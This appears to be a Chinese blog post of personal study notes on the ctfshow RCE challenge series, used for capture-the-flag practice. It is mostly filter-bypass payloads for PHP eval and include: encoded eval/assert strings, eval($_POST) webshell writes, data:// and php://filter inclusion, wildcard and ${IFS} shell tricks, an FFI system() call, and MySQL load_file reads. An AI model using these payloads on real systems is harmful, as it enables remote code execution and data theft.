ctfshow RCE

PHP代码命令执行:
        system('cmd');
        
        print_r(shell_exec(cmd));
        
        `cmd`;
        
        passthru('cmd');
        
    读文件
        print_r(scandir(dirname(__FILE__)));
        foreach(scandir('.') as $p){print($p.' ');}

        file_get_contents('fn');  highlight_file('fn');  show_source('fn');  readfile('fn');

        rename('oldname','newname');

    文件包含
        include/require + 伪协议 读取文件,写入后门

    中断eval后面的程序:
        exit(); die();

绕过:
        通配符绕过、换行符绕过、短标签绕过、?>绕过、

        使用$_GET $_POST 启用另一个参数,从而逃逸过滤

        include + 伪协议 读取文件,写入后门

        不需要'()'的PHP语言结构,可以使用换行符%0a绕过'()' : include require echo print isset unset

提权越权:
        eval(web72 code); 

Shell命令执行

        输出命令:more|less|head|sort|tail|sed|cut|awk|strings|od|curl|tac|cat|xxd|hexdump(大小端)|nl
                
                tee命令:将标准输入输出到文件,可以代替重定向,解决命令执行不回显。 cat flag.php | tee 1.txt



        执行可执行文件:直接输入相对路径或者绝对路径。
绕过:
        堆叠绕过。
                顺序执行:;
                无条件执行两条命令:&
                执行第一个命令,返回成功,执行第二个命令:&&
                执行第一个命令,返回失败,执行第二个命令:||
        

        通配符绕过:? * {..}

        重命名绕过:mv
        
        空格绕过:
                用制表符代替%09
                nl命令+重定向   nl<fla''g.php           //给文件添加行号,查看源代码
                ${IFS} 是系统默认的空格  备选:$IFS

        shell特性:(Linux命令行特性)
                字符串拼接:shell本身就是字符串 替换 ==> 解析 ,不用拼接。与其说是拼接,不如说是加上一个空字符串''或者""
                        所以flag.php == fla''g.php == fla""g.php
                        所以tac flag.php == ta''c flag.php == ta""c flag.php
                
                Linux命令行还有一个特性,会先执行 `cmd` ,并把结果作为字符串,拼接成最终的命令。
 
        绕过所有字母:
                ?c=.%20/???/????????[@-[]
                上传sh脚本,猜解PHP默认保存上传文件的临时文件名,运行脚本文件

        数字绕过:
                Linux科学计算
        
        环境变量拼接:
                截取环境变量中的字符,拼接出shell命令。         //过滤是php过滤的,不是shell本身过滤的。
                web118

        异或运算绕过:

        取反运算绕过:
                <?php 
                        echo urlencode(~'phpinfo');             //得到字符串'phpinfo'取反后的字符串的 URL 编码
                        %8F%97%8F%96%91%99%90                   //漏洞利用:eval($_POST[1]) 
                                                        //payload = (~%8F%97%8F%96%91%99%90)(); 即eval((~%8F%97%8F%96%91%99%90)();)
                ?>
        eval($_GET[code]);
        ?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9D%86%8F%9E%8C%8C%A2%D6%D6);
        ==> eval(assert(eval($_POST[bypass])));                 //蚁剑

web29:

    用file_put_contents('filename','content');写入一个后门即可。
    
    或者用?c=eval($_POST[1]);  + hackbar post数据

web30:

    用print_r(shell_exec(cmd))代替system(cmd)绕过;
    
    通配符绕过 tac fla?.ph?   但是 {o..q} 失效了,没有解析
    
    短标签绕过php过滤  <?=code?>  <?php echo 'print this string' ?>

web31:

    用print_r(scandir(dirname(__FILE__)));代替system('ls');
    
    用passthru('cmd');代替system('cmd');

web32:

    用?>结束符,代替;结束符。
    
    ?c=eval($_POST[1])?>        <==>      ?c=eval($_POST[1]);

    换行符绕过,代替()
    
    eval("include\n'flag.php';");

    ?c=include%0a$_GET[1]?%3E&1=php://filter/convert.base64-encode/resource=flag.php

web33:

    同上。利用eval构造requier文件包含漏洞

    ?c=require%0a$_GET[1]?%3E&1=data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMV0pO3BocGluZm8oKTsgPz4=   //POST 1=system('ls');

web34: 同上。

web35: 同上。

web36: 同上。

web37: 同上。

web38: 同上

    ?c=data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMV0pO3BocGluZm8oKTsgPz4=   //POST 1=system('ls');

web39:

    同上 + 短标签截断后缀名

    ?c=data://text/plain,<?=system('ls')?>

    ?c=data://text/plain,<?=system('cp fla?.ph? 1.txt')?>

    /1.txt

web40:

    惊!过滤的居然是中文()没过滤英文()!

    print_r(scandir(dirname(__FILE__)));

    show_source(next(array_reverse(scandir(dirname(__FILE__)))));

    
    next() 函数将内部指针指向数组中的下一个元素,并输出。       //next的范围很小,即使配合array_reverse也访问不到中间的元素。
                                                            //next不能嵌套,因为next的返回值不是数组了,而是数组中的元素。
    相关的方法:
    prev() - 将内部指针指向数组中的上一个元素,并输出。
    current() - 返回数组中的当前元素的值。
    end() - 将内部指针指向数组中的最后一个元素,并输出。
    reset() - 将内部指针指向数组中的第一个元素,并输出。
    each() - 返回当前元素的键名和键值,并将内部指针向前移动。

    非预期解:
    
    输出所有定义的变量
    print_r(get_defined_vars());

    然后在操作数组中$GET[]的值。

web41:

    十六进制或运算构造任意字符,绕过过滤
    
    C:\Users\LENOVO\Desktop\CTF### web\RCE

    php用于生成字符的十六进制或运算,python用于攻击

web42: shell堆叠绕过

web43: shell堆叠绕过

web44:

web55:

    ?c=.%20/???/????????[@-[]       绕过字母过滤

    构造表单,sh文件上传,.%20执行sh脚本。由于不知道脚本名字,所以需要通配+猜解。
    
    PHP临时接受的上传文件名,通常是 ./tmp/phpabcdeF         大写字母在[@-[]之间

    抓包
    POST /?c=.%20/???/????????[@-[] HTTP/1.1
    Host: fe7ba246-3e90-4bb3-a124-030946ce60fa.challenge.ctf.show
    
    -----------------------------41584852824010327701993524609
    Content-Disposition: form-data; name="a"; filename="url.txt"
    Content-Type: text/plain

    tac flag.php
    -----------------------------41584852824010327701993524609--

web56: Linux数学计算代替数字

    $(()) == 0
    ~$(()) == -0
    $((~$(()))) == -1

    $((-1+-1+...+-1)) = -n
    $((~$((-1+-1+...+-1)))) = n-1

    payload: $((~$(($((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))))))

web60:

    我们的目标是flag,很多时候只要能读文件就够了,没必要完全能命令执行。

web69:

    foreach(scandir('.') as $p){print($p.' ');}
    
    include(flag.txt);

web71:

    exit()退出程序绕过。

web72:

    不能读取网站根目录以外的、其他的服务器文件。

突破权限:
    遍历目录:
            $a="glob:///*.txt";             //输出根目录下的所有.txt文件
            if($b=opendir($a)){
                    while(($file=readdir($b))!==false){
                            echo "filename:".$file."\n";
                    }
                    closedir($b);
            }
                    
            $a="glob:///*";if($b=opendir($a)){while(($file=readdir($b))!==false){echo $file."<br>";}closedir($b);}
           
            然后读取文件。include一般都行。要是没有能读取文件的手段。那就不得不使用下面的命令执行来读取文件了。

    FFI拓展特性:
            php高版本,php7以上吧。执行C语言=>命令执行:
            
            $ffi = FFI::cdef("int system(char *command);", "libc.so.6");$a='cmd';$ffi->system($a);  //没有回显,所以一般要重定向或者cp mv
            
            payload:
            $ffi=FFI::cdef("int system(char *command);", "libc.so.6");$a='/readflag > /var/www/html/doxide.txt';$ffi->system($a);exit();
    
    命令执行:
            利用PHP垃圾回收。

            使用burp把代码URL编码,执行命令的部分是最后的pwn('cmd');
            
            代码在sublime里面,CTFweb里也有
            
            pwn('ls /'); pwn('tac /flag0.txt');

    MySQL文件读取:
            前提:知道dbname和root:root
            try {
                    $dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');
                    foreach($dbh->query('select load_file("/flag36.txt")') as $row) {
                            echo($row[0])."|";
                    }
                    $dbh = null;
            }catch (PDOException $e) {
                    echo $e->getMessage();
                    die();
            }
    
    try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row) {echo($row[0])."|";}$dbh = null;}catch (PDOException $e) {echo $e->getMessage();die();}

web118:

    对输入有过滤,过滤了所有linux命令,包括ta''c...
    
    用环境变量构造出shell命令。截取出环境变量中的字符,拼接出shell命令。

    常见环境变量:
            $PATH
            $PWD            工作目录的绝对路径
            $SHLVL          通常是1         //或者2
            $SHELL          /bin/bash

    字符串分割,和python差不多。    $PATH=abcdefg           ${PATH:n:m} => 从n开始m长的子字符串。 
                    ${PATH:(-3):1}  => 倒数第3个字符       ${PATH:(-5)} => 倒数第5个字符之后的所有字符

    字符串拼接:没有拼接符,放在一起就行了。        ${a}${b}${c}

    ${#string}	$string的长度
 
    ${string:position}	        在$string中, 从位置$position开始提取子串
    ${string:position:length}	在$string中, 从位置$position开始提取长度为$length的子串
            
    ${string#substring}	        从变量$string的开头, 删除最短匹配$substring的子串
    ${string##substring}	        从变量$string的开头, 删除最长匹配$substring的子串
    ${string%substring}	        从变量$string的结尾, 删除最短匹配$substring的子串
    ${string%%substring}	        从变量$string的结尾, 删除最长匹配$substring的子串
            
    ${string/substring/replacement}	        使用$replacement, 来代替第一个匹配的$substring
    ${string//substring/replacement}	使用$replacement, 代替所有匹配的$substring
    ${string/#substring/replacement}	如果$string的前缀匹配$substring, 那么就用$replacement来代替匹配到的$substring
    ${string/%substring/replacement}	如果$string的后缀匹配$substring, 那么就用$replacement来代替匹配到的$substring

    https://www.cnblogs.com/gaochsh/p/6901809.html
posted @ 2022-05-31 09:18  191206  阅读(263)  评论(0编辑  收藏  举报